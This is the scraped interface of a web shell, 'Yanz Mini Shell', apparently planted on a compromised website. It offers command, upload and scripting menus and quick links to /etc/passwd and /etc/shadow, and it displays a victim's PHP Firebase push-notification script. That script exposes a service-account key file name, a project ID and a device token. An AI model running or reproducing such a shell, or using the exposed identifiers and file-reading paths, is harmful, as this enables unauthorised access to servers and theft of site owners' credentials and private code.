Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
input-mask
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php function base64UrlEncode($data) { return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); } function createJwt($header, $payload, $privateKey) { $headerEncoded = base64UrlEncode(json_encode($header)); $payloadEncoded = base64UrlEncode(json_encode($payload)); $signature = ""; openssl_sign( "$headerEncoded.$payloadEncoded", $signature, $privateKey, OPENSSL_ALGO_SHA256 ); $signatureEncoded = base64UrlEncode($signature); return "$headerEncoded.$payloadEncoded.$signatureEncoded"; } function sendNotification($deviceToken, $title, $body, $data = []) { // Path to your service account JSON file $serviceAccountFile = 'finance-management-af955-firebase-adminsdk-uq964-cdd33aee9e.json'; // Project ID from Firebase Console $projectId = 'finance-management-af955'; // Replace with your project ID // HTTP v1 API endpoint $url = "https://fcm.googleapis.com/v1/projects/{$projectId}/messages:send"; // Read the service account file $serviceAccount = json_decode(file_get_contents($serviceAccountFile), true); // Create a JWT token for OAuth 2.0 authentication $privateKey = $serviceAccount['private_key']; $clientEmail = $serviceAccount['client_email']; $now = time(); $jwtHeader = [ 'alg' => 'RS256', 'typ' => 'JWT', ]; $jwtPayload = [ 'iss' => $clientEmail, 'sub' => $clientEmail, 'aud' => 'https://oauth2.googleapis.com/token', 'iat' => $now, 'exp' => $now + 3600, // Token valid for 1 hour 'scope' => 'https://www.googleapis.com/auth/firebase.messaging', ]; $jwt = createJwt($jwtHeader, $jwtPayload, $privateKey); // Obtain an OAuth 2.0 access token $tokenUrl = 'https://oauth2.googleapis.com/token'; $tokenResponse = file_get_contents($tokenUrl, false, stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query([ 'grant_type' => 'urn:ietf:params:oauth:grant-type:jwt-bearer', 'assertion' => $jwt, ]), ], ])); $accessToken = json_decode($tokenResponse, true)['access_token']; // Notification payload $payload = [ 'message' => [ 'token' => $deviceToken, 'notification' => [ 'title' => $title, 'body' => $body, ], 'data' => $data, // Optional additional data ], ]; // HTTP headers $headers = [ "Authorization: Bearer {$accessToken}", 'Content-Type: application/json', ]; // Send the notification $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload)); $result = curl_exec($ch); if ($result === FALSE) { die('FCM Send Error: ' . curl_error($ch)); } curl_close($ch); return $result; } // Usage example $deviceToken = 'cBI-D5tmQRqyJb6N7E7FtG:APA91bG7oY2WTpBjqJmcGPSD_CvPXWzJKvobNZ-iFEwxQAkXwFoIZtcBjgygMljF6TeBMoeiRKhaDA2riv6Dn9uk1mzwwGOyoUpss1Bii-RlGxaXK7WLMjI'; // Replace with a valid device token $title = 'Hello with HTTP v1!'; $body = 'This notification is sent via the HTTP v1 API.'; $data = ['key' => 'value']; $response = sendNotification($deviceToken, $title, $body, $data); echo $response; ?>
Free Space : 11477643264 Byte